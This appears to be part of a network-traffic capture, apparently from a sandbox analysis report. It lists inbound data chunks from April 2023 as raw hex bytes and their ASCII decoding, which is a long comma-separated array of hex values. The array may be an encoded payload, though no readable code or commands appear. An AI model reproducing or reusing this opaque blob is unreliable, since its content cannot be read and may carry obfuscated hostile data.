2023-04-20 23:05:09 UTC	13261	IN	Data Raw: 2c 38 63 2c 31 32 62 2c 64 30 2c 65 38 2c 31 33 34 2c 31 30 30 2c 35 38 2c 37 31 2c 63 65 2c 65 61 2c 61 61 2c 65 65 2c 34 34 2c 31 34 64 2c 63 32 2c 34 36 2c 39 38 2c 63 32 2c 37 38 2c 31 33 35 2c 63 63 2c 38 33 2c 37 61 2c 62 36 2c 36 30 2c 31 30 62 2c 31 33 64 2c 36 63 2c 31 33 30 2c 38 35 2c 38 63 2c 37 61 2c 31 36 65 2c 31 35 38 2c 62 63 2c 61 64 2c 39 30 2c 34 65 2c 31 32 61 2c 31 33 63 2c 61 62 2c 66 35 2c 31 34 31 2c 31 34 34 2c 37 65 2c 37 35 2c 38 31 2c 39 39 2c 31 33 38 2c 37 33 2c 31 35 37 2c 63 66 2c 36 34 2c 38 31 2c 38 61 2c 61 62 2c 65 66 2c 31 31 66 2c 31 36 30 2c 31 34 32 2c 62 65 2c 35 38 2c 31 31 39 2c 35 66 2c 31 31 62 2c 37 64 2c 31 33 62 2c 31 34 62 2c 38 34 2c 33 30 2c 65 38 2c 31 30 62 2c 35 64 2c 37 65 2c 62 64 2c 66 66 2c 38 39 Data Ascii: ,8c,12b,d0,e8,134,100,58,71,ce,ea,aa,ee,44,14d,c2,46,98,c2,78,135,cc,83,7a,b6,60,10b,13d,6c,130,85,8c,7a,16e,158,bc,ad,90,4e,12a,13c,ab,f5,141,144,7e,75,81,99,138,73,157,cf,64,81,8a,ab,ef,11f,160,142,be,58,119,5f,11b,7d,13b,14b,84,30,e8,10b,5d,7e,bd,ff,89
2023-04-20 23:05:09 UTC	13277	IN	Data Raw: 2c 37 34 2c 31 35 35 2c 35 64 2c 62 31 2c 66 63 2c 36 62 2c 31 30 62 2c 66 65 2c 34 34 2c 31 33 36 2c 63 63 2c 31 32 35 2c 31 35 35 2c 36 35 2c 63 37 2c 39 38 2c 35 66 2c 64 31 2c 31 32 36 2c 38 39 2c 64 36 2c 61 63 2c 62 37 2c 35 30 2c 31 34 38 2c 65 35 2c 65 37 2c 61 33 2c 36 62 2c 66 63 2c 62 65 2c 31 32 39 2c 33 66 2c 31 32 63 2c 66 36 2c 31 31 31 2c 66 66 2c 39 38 2c 65 30 2c 63 33 2c 31 31 34 2c 63 31 2c 31 32 38 2c 31 32 61 2c 31 32 33 2c 31 31 31 2c 31 33 38 2c 36 38 2c 31 32 38 2c 31 31 62 2c 31 31 37 2c 62 38 2c 31 30 35 2c 64 37 2c 64 65 2c 31 31 30 2c 63 32 2c 64 36 2c 39 34 2c 35 38 2c 31 30 30 2c 31 31 30 2c 31 32 61 2c 65 66 2c 66 37 2c 39 30 2c 31 31 30 2c 61 63 2c 31 34 30 2c 31 35 36 2c 39 38 2c 31 30 64 2c 35 64 2c 62 39 2c 31 31 39 2c Data Ascii: ,74,155,5d,b1,fc,6b,10b,fe,44,136,cc,125,155,65,c7,98,5f,d1,126,89,d6,ac,b7,50,148,e5,e7,a3,6b,fc,be,129,3f,12c,f6,111,ff,98,e0,c3,114,c1,128,12a,123,111,138,68,128,11b,117,b8,105,d7,de,110,c2,d6,94,58,100,110,12a,ef,f7,90,110,ac,140,156,98,10d,5d,b9,119,
2023-04-20 23:05:09 UTC	13293	IN	Data Raw: 31 36 33 2c 62 37 2c 61 65 2c 61 31 2c 31 30 64 2c 64 37 2c 63 61 2c 31 33 63 2c 65 31 2c 31 30 36 2c 64 61 2c 62 34 2c 31 33 30 2c 37 62 2c 64 37 2c 31 33 63 2c 33 66 2c 31 30 37 2c 66 62 2c 36 36 2c 31 34 30 2c 31 33 33 2c 37 62 2c 36 36 2c 39 30 2c 61 35 2c 39 34 2c 63 62 2c 61 61 2c 31 32 64 2c 39 63 2c 61 66 2c 31 30 31 2c 37 66 2c 39 32 2c 64 61 2c 31 34 36 2c 61 30 2c 31 35 32 2c 31 32 62 2c 39 36 2c 39 39 2c 31 34 39 2c 63 36 2c 31 33 33 2c 31 35 38 2c 61 62 2c 64 66 2c 63 35 2c 64 32 2c 31 30 63 2c 31 32 38 2c 35 61 2c 61 65 2c 63 64 2c 31 32 36 2c 31 31 64 2c 34 63 2c 37 38 2c 31 32 38 2c 39 37 2c 38 61 2c 31 34 31 2c 36 61 2c 66 62 2c 65 33 2c 62 65 2c 31 32 61 2c 61 65 2c 38 66 2c 31 34 38 2c 66 62 2c 64 64 2c 36 64 2c 65 66 2c 63 64 2c 31 31 Data Ascii: 163,b7,ae,a1,10d,d7,ca,13c,e1,106,da,b4,130,7b,d7,13c,3f,107,fb,66,140,133,7b,66,90,a5,94,cb,aa,12d,9c,af,101,7f,92,da,146,a0,152,12b,96,99,149,c6,133,158,ab,df,c5,d2,10c,128,5a,ae,cd,126,11d,4c,78,128,97,8a,141,6a,fb,e3,be,12a,ae,8f,148,fb,dd,6d,ef,cd,11
2023-04-20 23:05:09 UTC	13309	IN	Data Raw: 38 62 2c 37 39 2c 31 32 35 2c 64 35 2c 31 30 64 2c 31 32 31 2c 31 31 61 2c 31 36 31 2c 64 63 2c 66 37 2c 65 30 2c 36 61 2c 63 64 2c 31 30 65 2c 66 36 2c 31 32 66 2c 31 34 33 2c 65 66 2c 61 33 2c 35 36 2c 66 37 2c 31 35 31 2c 61 36 2c 61 62 2c 31 33 33 2c 62 66 2c 65 66 2c 66 35 2c 63 34 2c 31 34 36 2c 31 30 66 2c 61 33 2c 31 30 31 2c 31 31 34 2c 31 33 62 2c 31 33 65 2c 31 30 34 2c 31 35 31 2c 65 33 2c 31 33 34 2c 62 39 2c 31 34 31 2c 31 31 61 2c 66 33 2c 65 64 2c 62 65 2c 34 39 2c 64 66 2c 31 30 34 2c 38 34 2c 31 30 62 2c 34 64 2c 66 34 2c 31 32 65 2c 65 33 2c 31 33 63 2c 31 30 38 2c 31 33 62 2c 66 33 2c 63 61 2c 33 65 2c 31 34 33 2c 33 65 2c 66 65 2c 63 38 2c 31 30 37 2c 66 61 2c 37 63 2c 31 31 62 2c 66 32 2c 64 39 2c 31 30 64 2c 37 62 2c 37 34 2c 65 32 Data Ascii: 8b,79,125,d5,10d,121,11a,161,dc,f7,e0,6a,cd,10e,f6,12f,143,ef,a3,56,f7,151,a6,ab,133,bf,ef,f5,c4,146,10f,a3,101,114,13b,13e,104,151,e3,134,b9,141,11a,f3,ed,be,49,df,104,84,10b,4d,f4,12e,e3,13c,108,13b,f3,ca,3e,143,3e,fe,c8,107,fa,7c,11b,f2,d9,10d,7b,74,e2
2023-04-20 23:05:09 UTC	13325	IN	Data Raw: 66 2c 31 32 35 2c 61 36 2c 38 66 2c 31 34 65 2c 31 34 32 2c 35 30 2c 64 62 2c 36 66 2c 36 32 2c 31 30 32 2c 64 37 2c 62 35 2c 62 37 2c 31 30 64 2c 31 31 61 2c 31 30 37 2c 35 65 2c 39 35 2c 63 39 2c 66 33 2c 66 34 2c 31 33 61 2c 33 65 2c 61 65 2c 61 33 2c 61 35 2c 39 35 2c 31 32 33 2c 61 66 2c 31 35 39 2c 65 39 2c 31 33 37 2c 31 34 30 2c 66 64 2c 31 32 62 2c 31 35 33 2c 31 32 31 2c 37 30 2c 37 30 2c 31 34 61 2c 63 34 2c 31 31 65 2c 64 64 2c 31 34 62 2c 63 30 2c 62 66 2c 31 32 39 2c 31 36 30 2c 62 63 2c 63 66 2c 66 35 2c 63 32 2c 31 34 63 2c 35 37 2c 61 66 2c 37 66 2c 38 38 2c 65 38 2c 62 38 2c 63 30 2c 38 30 2c 37 32 2c 61 63 2c 37 65 2c 63 64 2c 31 31 64 2c 66 64 2c 37 39 2c 36 62 2c 31 31 38 2c 64 62 2c 36 66 2c 65 37 2c 35 62 2c 63 64 2c 31 34 35 2c 31 Data Ascii: f,125,a6,8f,14e,142,50,db,6f,62,102,d7,b5,b7,10d,11a,107,5e,95,c9,f3,f4,13a,3e,ae,a3,a5,95,123,af,159,e9,137,140,fd,12b,153,121,70,70,14a,c4,11e,dd,14b,c0,bf,129,160,bc,cf,f5,c2,14c,57,af,7f,88,e8,b8,c0,80,72,ac,7e,cd,11d,fd,79,6b,118,db,6f,e7,5b,cd,145,1
2023-04-20 23:05:09 UTC	13341	IN	Data Raw: 35 2c 31 35 31 2c 31 30 64 2c 39 32 2c 63 30 2c 38 36 2c 38 37 2c 35 32 2c 64 61 2c 31 31 30 2c 31 30 35 2c 39 64 2c 31 32 37 2c 31 30 33 2c 38 65 2c 31 30 37 2c 31 31 66 2c 63 32 2c 62 65 2c 31 33 61 2c 31 32 38 2c 37 36 2c 62 30 2c 35 33 2c 63 32 2c 31 32 39 2c 61 63 2c 37 38 2c 36 35 2c 31 34 38 2c 66 63 2c 31 33 33 2c 31 32 38 2c 31 30 39 2c 63 34 2c 61 66 2c 31 32 33 2c 64 38 2c 66 34 2c 31 34 33 2c 61 32 2c 37 34 2c 64 30 2c 65 65 2c 31 34 66 2c 62 65 2c 31 35 65 2c 63 30 2c 31 36 34 2c 31 31 35 2c 62 36 2c 36 62 2c 38 61 2c 31 37 32 2c 31 30 32 2c 62 64 2c 35 64 2c 66 32 2c 31 31 34 2c 62 36 2c 39 39 2c 39 39 2c 66 33 2c 63 30 2c 35 34 2c 31 32 34 2c 31 30 38 2c 66 33 2c 31 31 62 2c 65 39 2c 31 32 36 2c 63 34 2c 66 64 2c 31 34 63 2c 31 30 39 2c 64 Data Ascii: 5,151,10d,92,c0,86,87,52,da,110,105,9d,127,103,8e,107,11f,c2,be,13a,128,76,b0,53,c2,129,ac,78,65,148,fc,133,128,109,c4,af,123,d8,f4,143,a2,74,d0,ee,14f,be,15e,c0,164,115,b6,6b,8a,172,102,bd,5d,f2,114,b6,99,99,f3,c0,54,124,108,f3,11b,e9,126,c4,fd,14c,109,d
2023-04-20 23:05:09 UTC	13357	IN	Data Raw: 2c 64 35 2c 37 61 2c 31 35 33 2c 62 38 2c 31 31 62 2c 34 63 2c 31 32 61 2c 31 33 65 2c 61 38 2c 36 38 2c 65 37 2c 37 30 2c 31 34 62 2c 65 33 2c 31 34 39 2c 39 37 2c 61 65 2c 63 30 2c 36 62 2c 64 35 2c 31 34 63 2c 31 32 63 2c 39 37 2c 62 63 2c 65 61 2c 65 66 2c 38 37 2c 63 61 2c 66 30 2c 31 33 61 2c 37 63 2c 65 36 2c 62 34 2c 31 37 36 2c 31 34 64 2c 31 35 30 2c 38 63 2c 35 33 2c 31 31 30 2c 31 30 63 2c 31 33 34 2c 62 30 2c 31 32 34 2c 37 34 2c 37 61 2c 66 31 2c 31 33 63 2c 31 31 32 2c 62 31 2c 31 31 61 2c 31 30 37 2c 31 35 39 2c 65 36 2c 61 32 2c 62 38 2c 65 64 2c 65 33 2c 34 61 2c 31 33 31 2c 31 30 32 2c 36 38 2c 31 30 35 2c 31 30 39 2c 31 31 65 2c 64 64 2c 64 35 2c 31 33 39 2c 66 36 2c 35 61 2c 39 30 2c 61 38 2c 35 65 2c 38 32 2c 63 34 2c 31 36 31 2c 37 Data Ascii: ,d5,7a,153,b8,11b,4c,12a,13e,a8,68,e7,70,14b,e3,149,97,ae,c0,6b,d5,14c,12c,97,bc,ea,ef,87,ca,f0,13a,7c,e6,b4,176,14d,150,8c,53,110,10c,134,b0,124,74,7a,f1,13c,112,b1,11a,107,159,e6,a2,b8,ed,e3,4a,131,102,68,105,109,11e,dd,d5,139,f6,5a,90,a8,5e,82,c4,161,7
2023-04-20 23:05:09 UTC	13373	IN	Data Raw: 2c 31 30 31 2c 61 66 2c 35 38 2c 64 63 2c 64 66 2c 66 65 2c 63 65 2c 31 32 34 2c 65 38 2c 31 36 36 2c 31 31 64 2c 64 65 2c 31 34 35 2c 64 36 2c 39 36 2c 66 62 2c 66 37 2c 37 65 2c 63 39 2c 66 34 2c 31 33 35 2c 62 34 2c 31 35 62 2c 65 33 2c 31 31 33 2c 64 30 2c 65 66 2c 31 30 62 2c 64 65 2c 31 30 33 2c 31 34 36 2c 31 33 33 2c 36 36 2c 61 35 2c 31 33 63 2c 64 35 2c 61 31 2c 31 36 31 2c 62 66 2c 31 36 37 2c 37 38 2c 31 31 63 2c 39 62 2c 36 64 2c 31 34 30 2c 35 33 2c 31 36 66 2c 66 36 2c 36 33 2c 63 61 2c 31 35 32 2c 34 35 2c 34 66 2c 35 63 2c 31 35 34 2c 31 36 34 2c 31 31 35 2c 37 32 2c 61 34 2c 38 39 2c 31 36 36 2c 66 38 2c 35 39 2c 61 65 2c 66 66 2c 31 31 30 2c 38 61 2c 62 33 2c 31 32 66 2c 62 37 2c 65 39 2c 31 33 37 2c 33 38 2c 31 36 36 2c 31 31 64 2c 38 Data Ascii: ,101,af,58,dc,df,fe,ce,124,e8,166,11d,de,145,d6,96,fb,f7,7e,c9,f4,135,b4,15b,e3,113,d0,ef,10b,de,103,146,133,66,a5,13c,d5,a1,161,bf,167,78,11c,9b,6d,140,53,16f,f6,63,ca,152,45,4f,5c,154,164,115,72,a4,89,166,f8,59,ae,ff,110,8a,b3,12f,b7,e9,137,38,166,11d,8
2023-04-20 23:05:09 UTC	13389	IN	Data Raw: 2c 31 33 30 2c 39 32 2c 31 30 61 2c 64 61 2c 64 32 2c 31 34 62 2c 38 31 2c 31 31 38 2c 61 33 2c 31 30 62 2c 31 33 33 2c 31 32 61 2c 65 65 2c 65 66 2c 65 62 2c 31 34 32 2c 39 39 2c 37 37 2c 31 30 62 2c 31 31 32 2c 38 31 2c 65 61 2c 62 64 2c 36 31 2c 36 35 2c 63 37 2c 31 32 37 2c 39 34 2c 66 34 2c 64 65 2c 38 61 2c 36 62 2c 66 37 2c 31 33 38 2c 62 33 2c 31 31 61 2c 33 39 2c 31 32 31 2c 64 65 2c 62 32 2c 31 34 35 2c 35 63 2c 37 64 2c 37 65 2c 31 30 36 2c 39 31 2c 38 34 2c 31 32 32 2c 31 35 35 2c 31 32 66 2c 63 39 2c 34 66 2c 66 66 2c 31 35 64 2c 33 61 2c 63 33 2c 36 36 2c 31 33 30 2c 38 37 2c 34 65 2c 61 66 2c 31 31 31 2c 37 31 2c 36 31 2c 31 32 64 2c 39 61 2c 65 33 2c 66 39 2c 39 34 2c 31 31 63 2c 31 32 63 2c 62 61 2c 64 63 2c 63 39 2c 61 31 2c 38 66 2c 39 Data Ascii: ,130,92,10a,da,d2,14b,81,118,a3,10b,133,12a,ee,ef,eb,142,99,77,10b,112,81,ea,bd,61,65,c7,127,94,f4,de,8a,6b,f7,138,b3,11a,39,121,de,b2,145,5c,7d,7e,106,91,84,122,155,12f,c9,4f,ff,15d,3a,c3,66,130,87,4e,af,111,71,61,12d,9a,e3,f9,94,11c,12c,ba,dc,c9,a1,8f,9
2023-04-20 23:05:09 UTC	13405	IN	Data Raw: 2c 66 62 2c 37 65 2c 31 36 35 2c 31 36 34 2c 31 35 37 2c 33 66 2c 31 33 37 2c 66 63 2c 32 65 2c 38 32 2c 37 34 2c 66 35 2c 31 35 32 2c 36 37 2c 64 36 2c 31 33 31 2c 31 30 37 2c 66 64 2c 65 63 2c 38 30 2c 31 32 37 2c 66 39 2c 61 32 2c 31 32 33 2c 66 63 2c 31 35 63 2c 31 34 36 2c 31 35 30 2c 31 32 30 2c 39 62 2c 63 63 2c 31 31 31 2c 37 65 2c 35 63 2c 31 33 31 2c 31 31 63 2c 61 65 2c 62 36 2c 66 31 2c 37 32 2c 31 31 36 2c 65 33 2c 31 32 35 2c 39 32 2c 62 62 2c 38 36 2c 65 65 2c 61 61 2c 35 66 2c 62 63 2c 31 30 34 2c 37 32 2c 31 33 33 2c 31 30 65 2c 39 33 2c 65 35 2c 38 33 2c 66 32 2c 31 30 31 2c 39 35 2c 65 32 2c 63 39 2c 31 30 61 2c 31 32 66 2c 39 38 2c 36 36 2c 31 31 61 2c 61 36 2c 31 30 39 2c 34 30 2c 31 31 66 2c 61 34 2c 37 33 2c 62 61 2c 39 62 2c 31 37 Data Ascii: ,fb,7e,165,164,157,3f,137,fc,2e,82,74,f5,152,67,d6,131,107,fd,ec,80,127,f9,a2,123,fc,15c,146,150,120,9b,cc,111,7e,5c,131,11c,ae,b6,f1,72,116,e3,125,92,bb,86,ee,aa,5f,bc,104,72,133,10e,93,e5,83,f2,101,95,e2,c9,10a,12f,98,66,11a,a6,109,40,11f,a4,73,ba,9b,17
2023-04-20 23:05:09 UTC	13421	IN	Data Raw: 65 38 2c 36 31 2c 31 34 37 2c 31 30 34 2c 62 33 2c 31 33 31 2c 31 30 35 2c 36 30 2c 64 64 2c 62 38 2c 31 30 33 2c 31 34 30 2c 36 34 2c 61 33 2c 62 62 2c 62 66 2c 65 61 2c 37 31 2c 31 36 33 2c 31 31 34 2c 64 36 2c 36 37 2c 31 31 62 2c 31 35 35 2c 33 38 2c 37 32 2c 35 35 2c 31 35 66 2c 31 30 37 2c 64 38 2c 37 62 2c 64 30 2c 61 66 2c 66 66 2c 31 30 33 2c 65 31 2c 31 32 31 2c 31 35 39 2c 31 31 30 2c 62 32 2c 35 37 2c 65 34 2c 31 30 66 2c 39 34 2c 31 30 37 2c 36 36 2c 31 32 63 2c 31 34 32 2c 63 35 2c 31 31 37 2c 31 33 64 2c 39 63 2c 31 30 37 2c 33 63 2c 63 61 2c 37 32 2c 65 35 2c 31 32 63 2c 31 32 35 2c 31 31 63 2c 31 31 63 2c 65 38 2c 66 39 2c 37 33 2c 31 31 37 2c 35 63 2c 37 63 2c 31 33 33 2c 65 38 2c 62 39 2c 31 31 31 2c 66 36 2c 31 30 33 2c 39 33 2c 38 64 Data Ascii: e8,61,147,104,b3,131,105,60,dd,b8,103,140,64,a3,bb,bf,ea,71,163,114,d6,67,11b,155,38,72,55,15f,107,d8,7b,d0,af,ff,103,e1,121,159,110,b2,57,e4,10f,94,107,66,12c,142,c5,117,13d,9c,107,3c,ca,72,e5,12c,125,11c,11c,e8,f9,73,117,5c,7c,133,e8,b9,111,f6,103,93,8d
2023-04-20 23:05:09 UTC	13437	IN	Data Raw: 39 2c 65 32 2c 31 31 64 2c 31 35 66 2c 65 39 2c 37 33 2c 31 33 39 2c 64 66 2c 39 34 2c 35 64 2c 31 31 64 2c 31 36 31 2c 31 31 30 2c 61 61 2c 33 62 2c 62 31 2c 34 62 2c 31 30 62 2c 31 31 34 2c 31 30 32 2c 31 35 64 2c 64 34 2c 61 35 2c 31 34 30 2c 39 63 2c 31 33 34 2c 38 66 2c 63 65 2c 31 33 33 2c 35 64 2c 66 37 2c 31 34 63 2c 38 61 2c 31 31 61 2c 65 32 2c 31 31 35 2c 37 38 2c 35 36 2c 61 32 2c 39 66 2c 31 31 63 2c 36 62 2c 37 34 2c 31 34 31 2c 62 34 2c 66 37 2c 64 33 2c 62 64 2c 62 31 2c 34 64 2c 38 63 2c 31 33 38 2c 62 65 2c 31 35 31 2c 61 66 2c 64 65 2c 31 31 33 2c 31 31 31 2c 63 35 2c 31 34 64 2c 65 32 2c 61 36 2c 31 30 39 2c 31 35 32 2c 66 33 2c 36 32 2c 37 62 2c 63 31 2c 31 32 37 2c 61 33 2c 31 37 34 2c 62 62 2c 34 39 2c 61 32 2c 61 36 2c 31 31 39 2c Data Ascii: 9,e2,11d,15f,e9,73,139,df,94,5d,11d,161,110,aa,3b,b1,4b,10b,114,102,15d,d4,a5,140,9c,134,8f,ce,133,5d,f7,14c,8a,11a,e2,115,78,56,a2,9f,11c,6b,74,141,b4,f7,d3,bd,b1,4d,8c,138,be,151,af,de,113,111,c5,14d,e2,a6,109,152,f3,62,7b,c1,127,a3,174,bb,49,a2,a6,119,
2023-04-20 23:05:09 UTC	13453	IN	Data Raw: 32 2c 35 30 2c 61 66 2c 66 65 2c 31 31 38 2c 31 35 64 2c 33 62 2c 31 32 34 2c 31 35 30 2c 38 64 2c 61 32 2c 31 31 66 2c 36 33 2c 65 36 2c 66 37 2c 64 64 2c 64 39 2c 31 33 61 2c 62 37 2c 63 64 2c 31 33 35 2c 64 39 2c 31 34 35 2c 36 66 2c 31 32 63 2c 63 64 2c 31 33 34 2c 62 39 2c 31 32 35 2c 66 36 2c 65 35 2c 64 34 2c 31 30 35 2c 31 32 64 2c 31 32 39 2c 66 30 2c 63 61 2c 38 38 2c 37 39 2c 31 33 34 2c 31 31 30 2c 31 36 37 2c 31 31 65 2c 39 34 2c 31 34 34 2c 39 37 2c 61 35 2c 66 64 2c 31 31 38 2c 38 32 2c 39 63 2c 31 35 35 2c 31 32 35 2c 34 38 2c 31 35 66 2c 31 32 65 2c 35 35 2c 36 65 2c 31 30 36 2c 66 32 2c 66 34 2c 31 32 39 2c 35 61 2c 31 36 64 2c 31 30 37 2c 61 30 2c 39 65 2c 31 34 35 2c 31 33 65 2c 39 61 2c 31 31 31 2c 38 30 2c 61 64 2c 31 34 66 2c 63 62 Data Ascii: 2,50,af,fe,118,15d,3b,124,150,8d,a2,11f,63,e6,f7,dd,d9,13a,b7,cd,135,d9,145,6f,12c,cd,134,b9,125,f6,e5,d4,105,12d,129,f0,ca,88,79,134,110,167,11e,94,144,97,a5,fd,118,82,9c,155,125,48,15f,12e,55,6e,106,f2,f4,129,5a,16d,107,a0,9e,145,13e,9a,111,80,ad,14f,cb
2023-04-20 23:05:09 UTC	13469	IN	Data Raw: 2c 37 62 2c 31 30 64 2c 38 63 2c 62 63 2c 62 62 2c 63 38 2c 34 39 2c 31 31 33 2c 31 34 62 2c 31 30 36 2c 31 33 61 2c 64 31 2c 63 33 2c 63 63 2c 39 35 2c 31 34 32 2c 39 35 2c 31 34 32 2c 36 30 2c 35 62 2c 37 39 2c 37 38 2c 65 33 2c 39 36 2c 39 63 2c 31 32 62 2c 65 32 2c 31 34 33 2c 61 33 2c 62 34 2c 36 31 2c 31 32 34 2c 31 34 30 2c 31 32 38 2c 31 32 63 2c 34 63 2c 31 34 37 2c 35 65 2c 31 32 39 2c 31 33 32 2c 36 38 2c 62 39 2c 31 34 63 2c 38 37 2c 65 32 2c 31 30 37 2c 38 64 2c 31 35 37 2c 31 30 39 2c 31 33 36 2c 65 64 2c 65 31 2c 66 31 2c 66 39 2c 35 66 2c 38 64 2c 65 37 2c 37 39 2c 39 30 2c 31 33 61 2c 38 36 2c 63 35 2c 35 66 2c 39 63 2c 31 37 32 2c 63 38 2c 64 39 2c 65 39 2c 31 33 62 2c 65 30 2c 31 34 33 2c 31 33 32 2c 31 35 65 2c 31 31 64 2c 61 63 2c 62 Data Ascii: ,7b,10d,8c,bc,bb,c8,49,113,14b,106,13a,d1,c3,cc,95,142,95,142,60,5b,79,78,e3,96,9c,12b,e2,143,a3,b4,61,124,140,128,12c,4c,147,5e,129,132,68,b9,14c,87,e2,107,8d,157,109,136,ed,e1,f1,f9,5f,8d,e7,79,90,13a,86,c5,5f,9c,172,c8,d9,e9,13b,e0,143,132,15e,11d,ac,b
2023-04-20 23:05:09 UTC	13485	IN	Data Raw: 33 2c 31 33 65 2c 38 37 2c 31 32 33 2c 61 66 2c 66 35 2c 31 35 61 2c 31 32 33 2c 64 37 2c 62 37 2c 62 30 2c 31 31 30 2c 31 30 33 2c 31 31 30 2c 65 39 2c 31 31 39 2c 31 32 61 2c 64 63 2c 62 62 2c 63 31 2c 61 32 2c 64 35 2c 37 34 2c 31 34 31 2c 38 38 2c 31 30 66 2c 31 34 37 2c 66 64 2c 35 66 2c 31 30 36 2c 31 32 38 2c 63 35 2c 31 32 38 2c 62 32 2c 65 34 2c 31 32 33 2c 61 66 2c 63 31 2c 65 33 2c 66 38 2c 31 33 31 2c 62 32 2c 38 31 2c 65 62 2c 66 38 2c 31 35 36 2c 36 61 2c 36 38 2c 31 35 65 2c 31 30 63 2c 31 34 30 2c 31 33 30 2c 31 32 34 2c 31 34 36 2c 61 61 2c 31 31 30 2c 63 64 2c 31 31 66 2c 36 62 2c 39 64 2c 37 34 2c 62 35 2c 31 32 64 2c 37 66 2c 31 30 37 2c 62 66 2c 31 32 35 2c 39 62 2c 35 39 2c 62 31 2c 38 33 2c 31 32 66 2c 31 32 33 2c 63 33 2c 65 62 2c Data Ascii: 3,13e,87,123,af,f5,15a,123,d7,b7,b0,110,103,110,e9,119,12a,dc,bb,c1,a2,d5,74,141,88,10f,147,fd,5f,106,128,c5,128,b2,e4,123,af,c1,e3,f8,131,b2,81,eb,f8,156,6a,68,15e,10c,140,130,124,146,aa,110,cd,11f,6b,9d,74,b5,12d,7f,107,bf,125,9b,59,b1,83,12f,123,c3,eb,
2023-04-20 23:05:09 UTC	13501	IN	Data Raw: 63 33 2c 65 33 2c 31 34 32 2c 31 36 31 2c 37 64 2c 66 31 2c 37 33 2c 64 64 2c 31 35 63 2c 37 63 2c 36 30 2c 39 66 2c 31 32 65 2c 31 31 30 2c 31 30 36 2c 65 65 2c 39 32 2c 31 30 62 2c 31 33 32 2c 37 65 2c 31 30 62 2c 31 31 64 2c 37 30 2c 31 31 36 2c 61 37 2c 31 31 39 2c 65 30 2c 31 31 38 2c 31 32 65 2c 33 34 2c 63 66 2c 31 30 62 2c 36 35 2c 31 31 63 2c 61 33 2c 31 33 31 2c 63 64 2c 65 64 2c 35 37 2c 31 32 36 2c 31 33 37 2c 37 39 2c 31 34 61 2c 39 61 2c 34 64 2c 39 64 2c 35 39 2c 31 33 37 2c 63 66 2c 62 37 2c 31 33 39 2c 38 35 2c 31 31 30 2c 31 34 38 2c 31 34 63 2c 39 34 2c 31 31 65 2c 66 36 2c 31 32 38 2c 31 30 64 2c 35 32 2c 66 66 2c 31 30 37 2c 62 65 2c 62 62 2c 31 31 31 2c 61 64 2c 39 62 2c 31 33 33 2c 39 39 2c 31 33 37 2c 31 30 38 2c 31 34 35 2c 31 31 Data Ascii: c3,e3,142,161,7d,f1,73,dd,15c,7c,60,9f,12e,110,106,ee,92,10b,132,7e,10b,11d,70,116,a7,119,e0,118,12e,34,cf,10b,65,11c,a3,131,cd,ed,57,126,137,79,14a,9a,4d,9d,59,137,cf,b7,139,85,110,148,14c,94,11e,f6,128,10d,52,ff,107,be,bb,111,ad,9b,133,99,137,108,145,11
2023-04-20 23:05:10 UTC	13517	IN	Data Raw: 2c 65 64 2c 37 62 2c 31 34 35 2c 31 35 35 2c 63 38 2c 61 33 2c 31 31 36 2c 31 32 61 2c 38 66 2c 65 32 2c 61 63 2c 31 33 66 2c 62 30 2c 31 34 32 2c 37 33 2c 34 63 2c 63 66 2c 31 34 33 2c 33 35 2c 31 32 64 2c 63 30 2c 31 35 66 2c 36 61 2c 64 34 2c 37 63 2c 39 37 2c 64 32 2c 65 61 2c 65 65 2c 31 32 65 2c 66 38 2c 31 34 65 2c 31 33 35 2c 31 35 32 2c 61 30 2c 31 36 39 2c 31 37 33 2c 61 32 2c 64 66 2c 31 31 30 2c 64 34 2c 35 39 2c 31 30 32 2c 31 30 37 2c 65 61 2c 36 65 2c 63 37 2c 31 32 62 2c 31 30 61 2c 64 64 2c 39 37 2c 35 30 2c 31 34 33 2c 65 39 2c 31 32 30 2c 63 61 2c 34 34 2c 31 34 64 2c 31 31 35 2c 62 62 2c 36 63 2c 37 34 2c 66 34 2c 31 36 61 2c 66 39 2c 36 33 2c 39 63 2c 39 65 2c 61 38 2c 36 32 2c 39 34 2c 35 31 2c 62 36 2c 64 32 2c 35 37 2c 63 37 2c 31 Data Ascii: ,ed,7b,145,155,c8,a3,116,12a,8f,e2,ac,13f,b0,142,73,4c,cf,143,35,12d,c0,15f,6a,d4,7c,97,d2,ea,ee,12e,f8,14e,135,152,a0,169,173,a2,df,110,d4,59,102,107,ea,6e,c7,12b,10a,dd,97,50,143,e9,120,ca,44,14d,115,bb,6c,74,f4,16a,f9,63,9c,9e,a8,62,94,51,b6,d2,57,c7,1
2023-04-20 23:05:10 UTC	13533	IN	Data Raw: 33 2c 62 38 2c 36 30 2c 33 39 2c 39 30 2c 31 31 63 2c 64 61 2c 39 66 2c 61 30 2c 31 30 65 2c 34 34 2c 66 37 2c 31 31 64 2c 37 64 2c 63 36 2c 65 63 2c 31 35 30 2c 35 39 2c 31 31 39 2c 64 33 2c 62 38 2c 34 39 2c 34 62 2c 35 37 2c 38 65 2c 64 30 2c 38 38 2c 64 34 2c 31 33 39 2c 62 33 2c 31 36 38 2c 65 37 2c 38 37 2c 36 32 2c 63 30 2c 65 38 2c 63 62 2c 31 32 30 2c 62 39 2c 31 33 36 2c 63 65 2c 36 64 2c 34 36 2c 63 38 2c 31 33 32 2c 61 35 2c 31 31 38 2c 37 39 2c 63 66 2c 64 63 2c 37 34 2c 65 31 2c 62 32 2c 61 36 2c 35 62 2c 38 64 2c 31 34 62 2c 63 31 2c 37 38 2c 36 66 2c 61 66 2c 65 36 2c 31 36 37 2c 31 30 31 2c 65 62 2c 61 65 2c 35 33 2c 34 34 2c 38 33 2c 39 33 2c 66 37 2c 31 30 64 2c 31 35 38 2c 64 39 2c 38 63 2c 39 61 2c 36 62 2c 35 30 2c 61 36 2c 64 62 2c Data Ascii: 3,b8,60,39,90,11c,da,9f,a0,10e,44,f7,11d,7d,c6,ec,150,59,119,d3,b8,49,4b,57,8e,d0,88,d4,139,b3,168,e7,87,62,c0,e8,cb,120,b9,136,ce,6d,46,c8,132,a5,118,79,cf,dc,74,e1,b2,a6,5b,8d,14b,c1,78,6f,af,e6,167,101,eb,ae,53,44,83,93,f7,10d,158,d9,8c,9a,6b,50,a6,db,
